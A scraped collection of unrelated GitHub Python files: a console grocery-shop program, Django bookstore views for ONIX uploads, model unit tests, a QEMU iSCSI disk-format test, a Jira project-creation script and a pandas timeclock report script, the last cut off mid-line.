Cost\")\r\n\t\t\t\tprint (\"press '4' for Change Quantity\")\r\n\t\t\t\tprint (\"press '0' to exist to main mode\")\r\n\t\t\t\twhile True:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\towner_mode=int (input(\"Please choose mode:\"))\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\tif owner_mode ==1:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Add new products\t\r\n\t\t\t\t\tname_of_new_product=input(\"Enter name of new product:\")\t\t\t\t\t\t\t#input new product\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tQuantity_of_new_product=float(input(\"Enter Quantity:\"))\t\t\t\t\t#input Quantity_of_new_product\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tPrice_of_new_product=float(input(\"Enter Price:\"))\t\t\t\t\t\t#input Price_of_new_product\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\t\tProducts_dic[name_of_new_product]=[Quantity_of_new_product,Price_of_new_product]\r\n\t\t\t\t\tprint(\"products now:\")\r\n\t\t\t\t\tprint(Products_dic)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#output new products\r\n\t\t\t\telif owner_mode ==2:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Show Products\r\n\t\t\t\t\tprint(\"products now[Quantity(kg):Price(L.E)]:\")\r\n\t\t\t\t\tprint(Products_dic)\r\n\t\t\t\telif owner_mode ==3:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Change Cost\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\tname_of_new_product=input(\"Enter name of product:\")\t\t\t\t\t\t\t#choose product owner need change cost\r\n\t\t\t\t\t\tif name_of_new_product in Products_dic:\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint (\"Chosse Product form this list:\")\r\n\t\t\t\t\t\t\tprint(Products_dic)\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tPrice_of_new_product=float(input(\"Enter Price:\"))\t\t\t\t\t\t#input new Cost\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\t\tProducts_dic[name_of_new_product]=[Products_dic[name_of_new_product][0],Price_of_new_product]\r\n\t\t\t\t\tprint(\"product now[Quantity(kg):Price(L.E)]:\")\r\n\t\t\t\t\tprint(Products_dic[name_of_new_product])\t\t\t\t\t\t\t\t\t\t#output changeing in product\r\n\t\t\t\telif owner_mode ==4:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Change Quantity\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\tname_of_new_product=input(\"Enter name of product:\")\t\t\t\t\t\t\t#choose product owner need change Quantity\r\n\t\t\t\t\t\tif name_of_new_product in Products_dic:\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint (\"Chosse Product form this list:\")\r\n\t\t\t\t\t\t\tprint(Products_dic)\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tQuantity_of_new_product=float(input(\"Enter Quantity:\"))\t\t\t\t\t#Change Quantity\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\t\tProducts_dic[name_of_new_product]=[Quantity_of_new_product,Products_dic[name_of_new_product][1]]\r\n\t\t\t\t\tprint(\"product now:\")\r\n\t\t\t\t\tprint(Products_dic[name_of_new_product])\t\t\t\t\t\t\t\t\t\t#output changeing in product\r\n\t\t\t\telif owner_mode ==0:\r\n\t\t\t\t\tbreak\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#exist to main mode\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint (\"Choose one of this modes\")\r\n\t\telse:\r\n\t\t\tprint(\"----------Wrong password----------\")\t\t\t\t\t\t\t\t\t\t\t\t#Wrong password condtion\r\n\t\t\tprint(\"Choose '1' again to enter the password\")\r\n\telif mode == 2:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Customer_mode\r\n\t\tprint(\"----------Welcome in ITI grocerry shop----------\")\r\n\t\twhile True:\r\n\t\t\t\tprint (\"Customer Modes:\")\r\n\t\t\t\tprint (\"press '1' for show our products\")\r\n\t\t\t\tprint (\"press '2' for Buy from our products\")\r\n\t\t\t\tprint (\"press '3' for Cost\")\r\n\t\t\t\tprint (\"press '0' to exist to main mode\")\r\n\t\t\t\twhile True:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tCustomer_mode=int (input(\"Please choose mode:\"))\t\t\t\t\t\t\t#input Customer_mode\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\tif Customer_mode ==1:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Customer_mode show our products\r\n\t\t\t\t\tprint(\"products--> 'Name of product': [Quantity(kg):Price(L.E)] : \")\r\n\t\t\t\t\tprint(Products_dic)\r\n\t\t\t\telif Customer_mode ==2:\r\n\t\t\t\t\twhile True:\r\n\t\t\t\t\t\twhile True:\r\n\t\t\t\t\t\t\tname_of_Customer_product=input(\"Enter name of product:\")\t\t\t\t#choose product Customer need to buy it\r\n\t\t\t\t\t\t\tif name_of_Customer_product in Products_dic:\r\n\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tprint (\"The \"+name_of_Customer_product+\" is not available in our products:\")\r\n\t\t\t\t\t\t\t\tprint (\"If you need chosse available product form this list:\")\r\n\t\t\t\t\t\t\t\tprint(Products_dic)\r\n\t\t\t\t\t\twhile True:\r\n\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\tQuantity_of_Customer_product=float(input(\"Enter Quantity:\"))\t\t#input Quantity Customer need it\r\n\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\t\tprint (\"Enter Valid Number\")\r\n\t\t\t\t\t\tif Products_dic[name_of_Customer_product][0]>=Quantity_of_Customer_product:\t#Chack Quantity& output cost\r\n\t\t\t\t\t\t\tCustomer_Products_dic[name_of_Customer_product]=[Quantity_of_Customer_product]\r\n\t\t\t\t\t\t\tcost+=(Quantity_of_Customer_product*Products_dic[name_of_Customer_product][1])\r\n\t\t\t\t\t\t\tProducts_dic[name_of_Customer_product][0]-=Quantity_of_Customer_product\r\n\t\t\t\t\t\t\tprint(\"Price of last product:\")\r\n\t\t\t\t\t\t\tprint((Quantity_of_Customer_product*Products_dic[name_of_Customer_product][1]))\r\n\t\t\t\t\t\t\tprint(\"your product:\")\r\n\t\t\t\t\t\t\tprint(Customer_Products_dic)\r\n\t\t\t\t\t\t\tprint(\"Total cost =\"+ str(cost))\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint(\"Quantity you needed not available at this moment :\")\r\n\t\t\t\t\t\t\tprint(\"You can found this \"+str(Products_dic[name_of_Customer_product][0])+\"Quantity\")\r\n\t\t\t\telif Customer_mode ==3:\r\n\t\t\t\t\tif cost>0:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Cost_Mode\r\n\t\t\t\t\t\tprint(\"you orderd '\"+ str(len(Customer_Products_dic)) + \"' products from our shop\")\r\n\t\t\t\t\t\tprint(\"your product:\")\r\n\t\t\t\t\t\tprint(Customer_Products_dic)\r\n\t\t\t\t\t\tprint(\"Total cost =\"+ str(cost))\r\n\t\t\t\t\telif cost==0:\r\n\t\t\t\t\t\tprint(\"you don't buy any thing\")\r\n\t\t\t\t\t\tprint(\"Choose '1'to show our products and '2' to Buy our products\")\r\n\t\t\t\telif Customer_mode ==0:\r\n\t\t\t\t\tCustomer_Products_dic.clear()\r\n\t\t\t\t\tbreak\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#exist to main mode\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint (\"Choose one of this modes:\")\r\n\telif mode == 3:\r\n\t\tbreak\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#exit from main program\r\n\telse:\r\n\t\tprint(\"----------Wrong Mode----------\")\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Wrong Mode\r\n\t\tprint(\"Please choose from this modes:\")","repo_name":"MostafaRashed11001/ITIES_Python","sub_path":"Grocerry_shop.py","file_name":"Grocerry_shop.py","file_ext":"py","file_size_in_byte":7408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6752839040","text":"from django.http import Http404, HttpResponseRedirect\nfrom django.conf import settings\nfrom django.core.paginator import Paginator\nfrom django.core.files.storage import FileSystemStorage\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse\nfrom django.db.models import Q\nfrom django.views import generic, View\nfrom django.views.generic import TemplateView, ListView\nfrom django import template\nfrom . import views\nfrom .models import Document, Book\nfrom .forms import DocumentForm\nfrom .process_onix import process_data\nfrom lxml import etree\nfrom urllib.parse import urlencode\n\n#index.html, otherwise know as our home page\ndef index(request):\n documents = Document.objects.all()\n print(request)\n return render(request, 'index.html', {'documents': documents})\n\n#simple_upload.html , upload onix file page, allows you to choose onix file then process\ndef simple_upload(request):\n if request.method == 'POST' and request.FILES['myfile']:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n fs.delete('onix.xml')#make sure the previous file is deleted\n filename = fs.save('onix.xml', myfile) #use the same name for all uploaded onix files. To ease the check.\n uploaded_file_url = fs.url(filename)\n return render(request, 'simple_upload.html', {\n 'uploaded_file_url': uploaded_file_url\n })\n return render(request, 'simple_upload.html')\n\n#onixfile.html, onix file management page, allows you to naviage to uploading onix file or processing the current one that is uploaded\ndef onixfile(request):\n documents = Document.objects.all()\n print(request)\n return render(request, 'onixfile.html', {'documents': documents})\n\n\n#detail.html, this is the book detail page \ndef detail(request, book_id):\n try:\n book = Book.objects.get(pk=book_id)\n except Book.DoesNotExist:\n raise Http404(\"Question does not exist\")\n\n return render(request, 'detail.html', {'book': book})\n\n#process.html, actually performs the process \ndef process_Onix(request):\n message=''\n color = 'green' # red if error message and green if success\n path= \"documents/onix.xml\"\n\n if request.method=='POST':\n \n fs=FileSystemStorage()\n if fs.exists('onix.xml'):\n root= load_onix_file(path)\n if root:\n data=process_data(root)\n #Store data in the database\n for dt in data: \n try:\n book = Book.objects.get(isbn_13=dt.isbn_13)\n book.title =dt.title\n book.authors=dt.authors\n book.subtitle = dt.subtitle\n book.series=dt.series\n book.volume=dt.volume\n book.desc = dt.desc\n book.book_formats= dt.book_formats\n book.sale_flag = dt.sale_flag\n book.language = dt.language\n book.price = dt.price\n book.save()\n \n except Book.DoesNotExist:\n book = Book.objects.create(title=dt.title, authors=dt.authors, isbn_13=dt.isbn_13,\n subtitle = dt.subtitle, series=dt.series, volume=dt.volume,\n desc=dt.desc, book_formats=dt.book_formats, language=dt.language, price=dt.price,\n sale_flag=dt.sale_flag)\n\n message='Successfully processed the Onix file.'\n color='green'\n else:\n message='Unable to process file. Invalid file.'\n color='red'\n fs.delete('onix.xml') #delete onix file\n else:\n message='No file to process.'\n color='red'\n\n context={\n 'message':message,\n 'color':color\n }\n return render(request,'process.html', context) \n\n#adds functionality for loading onix file\ndef load_onix_file(path):\n context=''\n try:\n context = etree.parse(path)\n except:\n print(\"unable to parse onix file.\")\n \n return context \n\n#search.html, displays results for query, pagenated by 20\nclass SearchResultsView(ListView):\n model = Book\n template_name = 'search.html'\n paginate_by = 20 #change to add/remove pages\n \n\n \n def get_queryset(self): \n object_list = []\n title_list = []\n other_list = []\n query = self.request.GET.get('s_bar')\n if query is None:\n query = \"abcdefhijklmnopqrstuvwxyz\"\n title_list = Book.objects.filter(Q(title__icontains=query))\n other_list = Book.objects.filter(Q(authors__icontains=query) | Q(isbn_13__icontains=query) | Q(subtitle__icontains=query)\n | Q(series__icontains=query) | Q(volume__icontains=query) | Q(desc__icontains=query) | Q(book_formats__icontains=query)\n | Q(sale_flag__icontains=query))\n\n for x in title_list:\n object_list.append(x)\n for x in other_list:\n object_list.append(x)\n return object_list\n \n ","repo_name":"gidooley97/PPP_D2D_Project","sub_path":"PPP_Test_Bookstore/test_bookstore/books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"2765196410","text":"#!/usr/bin/python3\n\"\"\"\n contains the class Review\n\"\"\"\nfrom models.base_model import BaseModel\nfrom models.base_model import Review\nimport unittest\nimport datetime\n\n\nclass TestReview(unittest.TestCase):\n \"\"\"\n class TestReview\n \"\"\"\n\n created_at = datetime.datetime.now()\n updated_at = datetime.datetime.now()\n\n def test_init(self):\n \"\"\"\n test for init\n \"\"\"\n review = Review()\n self.assertIsInstance(review, Review)\n self.assertIsInstance(review.id, str)\n self.assertIsInstance(review.created_at, datetime.datetime)\n self.assertIsInstance(review.updated_at, datetime.datetime)\n\n def test_review_is_subclass(self):\n \"\"\"\n test for review is subclass\n \"\"\"\n review = Review()\n self.assertTrue(issubclass(review.__class__, BaseModel), True)\n\n def test_place_id_attr(self):\n \"\"\"\n test for place id attr\n \"\"\"\n review = Review()\n self.assertTrue(hasattr(review, \"place_id\"))\n self.assertEqual(review.place_id, \"\")\n\n def test_user_id_attr(self):\n \"\"\"\n test for user id attr\n \"\"\"\n review = Review()\n self.assertTrue(hasattr(review, \"user_id\"))\n self.assertEqual(review.user_id, \"\")\n \n def test_text_attr(self):\n \"\"\"\n test for text attr\n \"\"\"\n review = Review()\n self.assertTrue(hasattr(review, \"text\"))\n self.assertEqual(review.text, \"\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"CyrusNchege/AirBnB_clone","sub_path":"tests/test_models/test_review.py","file_name":"test_review.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6946995083","text":"\"\"\"Format large size disk from pass-through lun\"\"\"\n\nimport time\n\nfrom avocado.utils import process\nfrom virttest import env_process, utils_disk\nfrom virttest import data_dir\nfrom virttest import utils_misc\n\nfrom virttest.iscsi import Iscsi\n\n\ndef run(test, params, env):\n \"\"\"\n Format large size disk from pass-through lun.\n\n Steps:\n 1) Create iscsi disk and attach it on host.\n 2) Boot vm with pass-through iscsi disk.\n 3) Login guest and format the whole disk.\n 4) Simple IO on the disk.\n\n :param test: QEMU test object.\n :param params: Dictionary with the test parameters.\n :param env: Dictionary with test environment.\n \"\"\"\n\n def _get_window_disk_index_by_wwn(uid):\n cmd = \"powershell -command \\\"get-disk| Where-Object\"\n cmd += \" {$_.UniqueId -eq '%s'}|select number|FL\\\"\" % uid\n status, output = session.cmd_status_output(cmd)\n if status != 0:\n test.fail(\"execute command fail: %s\" % output)\n output = \"\".join([s for s in output.splitlines(True) if s.strip()])\n logger.debug(output)\n info = output.split(\":\")\n if len(info) > 1:\n return info[1].strip()\n test.fail(\"Not find expected disk \")\n\n def _set_max_sector(dev):\n if params.get(\"set_max_sector\"):\n cmd = params['cmd_set_max_sector'].format(dev.replace(\"/dev/\", \"\"))\n process.run(cmd, shell=True)\n\n def _set_max_segment(dev):\n if params.get(\"set_max_segment\"):\n cmd = params['cmd_get_max_segment'].format(\n dev.replace(\"/dev/\", \"\"))\n out = process.getoutput(cmd, shell=True)\n logger.info(\"run check segment %s,%s\", cmd, out)\n params[\"bus_extra_params_stg1\"] = \"max_sectors=%s\" % out\n return out\n\n def _get_disk_serial(dev):\n if params.get(\"serial\"):\n return params[\"serial\"]\n cmd = \"lsblk -dno wwn %s\" % dev\n logger.info(\"run check serial %s\", cmd)\n out = process.getoutput(cmd).replace(\"0x\", \"\").strip()\n logger.info(\"serial : %s\", out)\n if not out:\n test.error(\"Can not find serial of device\")\n return out\n\n vm = None\n iscsi = None\n logger = test.log\n\n timeout = params.get_numeric(\"timeout\", 180)\n clean_cmd = params[\"clean_cmd\"]\n backend_image_name = params['image_name_stg1']\n guest_cmd = params[\"guest_cmd\"]\n try:\n logger.info(\"Create iscsi disk.\")\n base_dir = data_dir.get_data_dir()\n params['image_size'] = params['emulated_image_size']\n iscsi = Iscsi.create_iSCSI(params, base_dir)\n iscsi.login()\n dev_name = utils_misc.wait_for(lambda: iscsi.get_device_name(), 60)\n time.sleep(2)\n if not dev_name:\n test.error('Can not get the iSCSI device.')\n\n serial = _get_disk_serial(dev_name)\n _set_max_sector(dev_name)\n _set_max_segment(dev_name)\n\n clean_cmd = clean_cmd % dev_name\n logger.info(\"run clean cmd %s\", clean_cmd)\n process.run(clean_cmd, shell=True)\n\n params['image_name_stg1'] = dev_name\n params['image_raw_device_stg1'] = \"yes\"\n params['start_vm'] = 'yes'\n vm = env.get_vm(params['main_vm'])\n env_process.process(test, params, env, env_process.preprocess_image,\n env_process.preprocess_vm)\n session = vm.wait_for_login(timeout=timeout)\n img_size = params.get(\"image_size_stg1\")\n os_type = params[\"os_type\"]\n fstype = params.get(\"fstype\")\n labeltype = params.get(\"labeltype\", \"msdos\")\n\n guest_cmd = utils_misc.set_winutils_letter(session, guest_cmd)\n disk = _get_window_disk_index_by_wwn(serial)\n logger.info(\"Format disk %s\", disk)\n utils_disk.update_windows_disk_attributes(session, disk)\n\n driver = utils_disk.configure_empty_disk(session, disk, img_size,\n os_type, fstype=fstype,\n labeltype=labeltype)[0]\n output_path = driver + \":\\\\test.dat\"\n guest_cmd = guest_cmd.format(output_path)\n logger.info('Start IO: %s', guest_cmd)\n session.cmd(guest_cmd, timeout=360)\n\n finally:\n logger.info(\"cleanup\")\n if vm and vm.is_alive():\n vm.destroy()\n if iscsi:\n iscsi.cleanup(True)\n params['image_name_stg1'] = backend_image_name\n params['image_raw_device_stg1'] = \"no\"\n","repo_name":"autotest/tp-qemu","sub_path":"qemu/tests/block_iscsi_format_large_size_disk.py","file_name":"block_iscsi_format_large_size_disk.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"36256575941","text":"import json\nimport requests\nimport os\nimport argparse\nimport config\n\ntoken = os.environ.get('JIRA_PAT')\n\n# Headers with bearer token\nheaders = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {token}\"\n }\n\n\ndef create_project(key, name, projectTypeKey, projectLead, description=\"\"):\n\n # New project data\n new_project = {\n \"key\": key,\n \"name\": name,\n \"projectTypeKey\": projectTypeKey,\n \"description\": description,\n \"lead\": projectLead\n }\n print(new_project)\n exit(0)\n \n response = requests.get(f\"{config.PROJECT_URL}/{new_project['key']}\", headers=headers)\n\n if response.status_code == 200:\n print(\"Project already exists.\")\n else:\n print(\"Creating new project...\")\n response = requests.post(config.PROJECT_URL, headers=headers, data=json.dumps(new_project))\n if response.status_code == 201:\n print(\"New project created successfully.\")\n else:\n print(\"Failed to create new project. Status code:\", response.status_code, response.content)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-k','--key', required=True)\n parser.add_argument('-n','--name', required=True)\n parser.add_argument('-pk','--projectTypeKey', required=True)\n parser.add_argument('-pl','--projectLead', required=True)\n parser.add_argument('-d','--description', required=False)\n args = parser.parse_args()\n create_project(args.key, args.name, args.projectTypeKey, args.projectLead, args.description)\n","repo_name":"muneeb1/practice-repo","sub_path":"jira_automation_jenkins/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"33957298439","text":"import time as t\nimport glob\nimport pandas as pd\nfrom core.mood_timeclock import calc_basket_window_size_secs, \\\n calc_programming_duration, alc_prog_as_percent_of_basket\nimport sys\n\n# ---------\n# Usage: p\n# ---------\n\n\ndef extract_program_data(src_data_filepath, destination_filepath):\n \"\"\" Extracts only Program data from source and saves/appends to CSV file\"\"\"\n print('Extracting Program data and reducing...')\n\n colnames_program = ['ID_DEFPRG', 'PROGRAM ID', 'PROGRAM']\n chunk_num = 0\n for df_prog_trans in pd.read_csv(src_data_filepath,\n usecols=colnames_program,\n chunksize=100000, \n encoding='unicode_escape', \n engine='python'):\n print('Droping duppes')\n df_prog_trans.drop_duplicates(subset=['ID_DEFPRG'], keep='first')\n print(f'Processing Program data chunk: {chunk_num}')\n\n if (chunk_num > 0):\n df_prog_trans.to_csv(destination_filepath, index=False, mode='a', \n header=None)\n else:\n # df_prog_trans = df_prog_trans.ID_DEFPRG != 'ID_DEFPRG'\n # df_prog_trans = df_prog_trans.iloc[1:]\n df_prog_trans.to_csv(destination_filepath, index=False, mode='a')\n\n chunk_num += 1\n\n # Release mem\n df_prog_trans.drop(df_prog_trans.index, inplace=True)\n # print(df_prog_trans.info(memory_usage='deep'))\n\n\ndef extract_basket_data(src_data_filepath, destination_filepath):\n \"\"\" Extracts only Basket data from src data and saves/appends \n to CSV file \"\"\"\n print('Extracting Basket data and reducing...')\n\n colnames_bskt = ['ID_DEFBSK', 'BASKET ID', 'BASKET']\n chunk_num = 0\n for df_bskt_trans in pd.read_csv(src_data_filepath, usecols=colnames_bskt, \n chunksize=10000, \n encoding='unicode_escape', \n engine='python'):\n print('Droping duppes')\n df_bskt_trans.drop_duplicates(subset=['ID_DEFBSK'], keep='first')\n print(f'Processing Basket data chunk: {chunk_num}')\n \n if (chunk_num > 0):\n df_bskt_trans.to_csv(destination_filepath, index=False, mode='a', \n header=None)\n else:\n df_bskt_trans.to_csv(destination_filepath, index=False, mode='a')\n \n chunk_num += 1\n\n df_bskt_trans.drop(df_bskt_trans.index, inplace=True)\n #print(df_bskt_trans.info(memory_usage='deep'))\n\n\ndef clean_unique_by_column(src_data_filepath, the_colnames_list, \n destination_filepath):\n \"\"\" Cleans src data by specified column name, and outputs to CSV file \"\"\"\n df_cleanse = pd.read_csv(src_data_filepath)\n #drop on specific column\n tmp = df_cleanse.drop_duplicates(subset=the_colnames_list, keep=False)\n tmp.to_csv(destination_filepath, index=False, mode='a')\n\n###############################################################################\n# ------ PIPELINE STEP 1: DATA PREPARATION --------\n# 1.1: Take Program & Basket detailed definitions and reduce to req'd fields & save to file\n#extract_program_data(\n# 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING.csv', \n# 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-programs.csv')\n#extract_basket_data('data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING.csv', 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-baskets.csv')\n\n# 1.2: Extract unique Programs\n#cleanse_prog_cols = ['ID_DEFPRG', 'PROGRAM']\n#clean_unique_by_column('data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-programs.csv', cleanse_prog_cols, 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-programs-cleansed.csv')\n\n# 1.3: Extract unique Baskets\n#cleanse_prog_cols = ['BASKET ID', 'BASKET']\n#clean_unique_by_column('data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-baskets.csv', cleanse_prog_cols, 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-baskets-cleansed.csv')\n\n#sys.exit()\n#------ PIPELINE STEP 2: Load Reduced Program Defs and merge with Data ---------------------------\n\n# 2.1: Load Program object/data for Merging later\nprogram_defs_file = 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-programs.csv'\ncolnames_program_def = ['ID_DEFPRG', 'PROGRAM ID', 'PROGRAM']\ndf_program_defs = pd.read_csv(program_defs_file, usecols=colnames_program_def)\nprint('PROGRAM DEFS DF SPECS')\nprint(df_program_defs.info(memory_usage='deep'))\n#drop first row, which is column names causing us headaches\ndf_program_defs = df_program_defs.iloc[1:] \n\n\"\"\" Contains list of Dataframes loaded from CSV files \"\"\"\ndf_list = []\n\n# 2.2: Load actual program data files\n#csv_file = 'data/TBL_LN_BLEH_PARTIAL_202305311803.csv'\ndata_types = {'ID_DEFPRG': 'int', 'ID_DEFBSK': 'int', 'PROG_LINE': 'int', \n 'START_DATE': 'string', 'END_DATE': 'string', \n 'START_TIME': 'int', 'END_TIME': 'int'}\ncolnames = ['ID_DEFPRG', 'ID_DEFBSK', 'PROG_LINE', 'START_DATE', 'END_DATE', \n 'START_TIME', 'END_TIME']\n\n# TODO: Iterate through files & combine---\nfor one_file_name in glob.glob('data/TBL_LN_PRGDEF_BSKDEF_202305311803*.csv'):\n print(f'Loading {one_file_name}')\n\n # Optimize for min memory usage\n new_df = pd.read_csv(one_file_name, delimiter=',', header=0,\n usecols=colnames)\n new_df['ID_DEFPRG'] = new_df['ID_DEFPRG'].astype('int64')\n new_df['ID_DEFPRG'] = new_df['ID_DEFPRG'].astype('int64')\n new_df['ID_DEFBSK'] = new_df['ID_DEFBSK'].astype('int64')\n new_df['PROG_LINE'] = new_df['PROG_LINE'].astype('int64')\n new_df['START_DATE'] = pd.to_datetime(new_df['START_DATE'])\n new_df['END_DATE'] = pd.to_datetime(new_df['END_DATE'])\n new_df['START_TIME'] = new_df['START_TIME'].astype('int64')\n new_df['END_TIME'] = new_df['END_TIME'].astype('int64')\n\n df_list.append(new_df)\n\ntot_files_loaded = len(df_list)\nprint(f'Total files loaded: {tot_files_loaded}')\n\ndf_merged = None\nif tot_files_loaded > 0:\n df_combined = pd.concat(df_list)\n print('SRC DATA CLEANSED REDUCED SPECS')\n print(df_combined.info(memory_usage='deep'))\n\n print('Merging Program defs...')\n # BUG\n df_merged = df_combined.join(df_program_defs, on='ID_DEFPRG', rsuffix='_r', \n how='left')\n df_program_defs.drop(df_program_defs.index, inplace=True)\n df_program_defs = None\n df_combined.drop(df_combined.index, inplace=True)\n df_combined = None\n print(df_merged)\n print('SRC DATA + PROGRAM DEFS MERGED DF SPECS')\n print(df_merged.info(memory_usage='deep'))\n\n# Cleanup\ndf_list.clear()\ndf_list = None\n\n# TODO - Fix issue where > 100 GB swap file used!!!!!\n#Load Basket object/data & Merge\n# basket_defs_file = 'data/TBL_LN_PRGDEF_BSKDEF_202304182317-WORKING_reduced-baskets.csv'\n# colnames_basket_defs = ['ID_DEFBSK', 'BASKET ID', 'BASKET']\n# df_basket_defs = pd.read_csv(basket_defs_file, usecols=colnames_basket_defs)\n# print(df_basket_defs.info(memory_usage='deep'))\n# df_basket_defs = df_basket_defs.iloc[1:]\n\n# if tot_files_loaded > 0:\n# print('Merging Basket defs...')\n# df_merged = pd.merge(df_merged, df_basket_defs[['ID_DEFBSK', 'BASKET ID', 'BASKET']], on='ID_DEFBSK', how='left')\n# df_basket_defs.drop(df_basket_defs.index, inplace=True)\n# df_basket_defs = None\n# print(df_merged)\n# print(df_merged.info(memory_usage='deep'))\n\n#df_merged.drop(df_merged.index, inplace=True)\n#df_merged = None\n\n#sys.exit()\n\n#------ Calculate Report --------------------------\n# WHERE I LEFT OFF: Output Report w/o Basket data until fix issue of Mem over-consumption!!!\n# Issue seems to be upon merge of Program defs, rows BLOW UP from 794,572 to 69,517,474\n\n#df_merged = pd.read_csv(csv_file, delimiter=',', header=0, usecols=colnames)\n#df_merged = df_merged.iloc[1:]\ndf_merged['START_DATE'] = pd.to_datetime(df_merged['START_DATE'])\ndf_merged['END_DATE'] = pd.to_datetime(df_merged['END_DATE'])\nprint(df_merged)\n\n# Step 1 = Calculate Basket window size, in seconds\ndf_merged['BSKT_SIZE'] = calc_basket_window_size_secs(df_merged['START_DATE'], \n df_merged['END_DATE'])\ndf_merged['BSKT_SIZE'] = df_merged['BSKT_SIZE'].astype(int)\n\n# Step 2: Calculate Programming duration (seconds?)\ndf_merged['PROG_DURATION'] = calc_programming_duration(\n df_merged['START_TIME'].astype(int), df_merged['END_TIME'].astype(int))\n\n# Step 3: Calculate Programming as percent of Basket\ndf_merged['Time'] = 'ToDo'\ndf_merged['Item Percentage'] = calc_prog_as_percent_of_basket(\n df_merged['PROG_DURATION'], df_merged['BSKT_SIZE']) * 100\ndf_merged['BASKET ID'] = 'ToDo'\ndf_merged['BASKET'] = 'ToDo'\n# Step 4: Create report file\ndf_merged = df_merged.rename(\n columns={'ID_DEFPRG': 'ID_DEFPRG', \n 'PROGRAM ID_r': 'Program ID', \n 'PROGRAM_r': 'Program', \n 'ID_DEFBSK': 'ID_DEFBSK', \n 'BASKET ID': 'Basket ID', \n 'BASKET': 'Basket', \n 'PROG_LINE': 'Prog Item ID', \n 'BSKT_SIZE': 'Basket Size Secs',\n 'PROG_DURATION': 'Prog Item Duration Secs'})\nprint(df_merged)\nprint('REPORT DF SPECS')\nprint(df_merged.info(memory_usage='deep'))\n\nsys.exit()\n\n# Save to Excel and add a time stamp\nnow = int(t.time())\noutput_filename = 'output_report/timeclock_report_' + str(now) + '.xlsx'\ndf_merged.to_excel(output_filename, 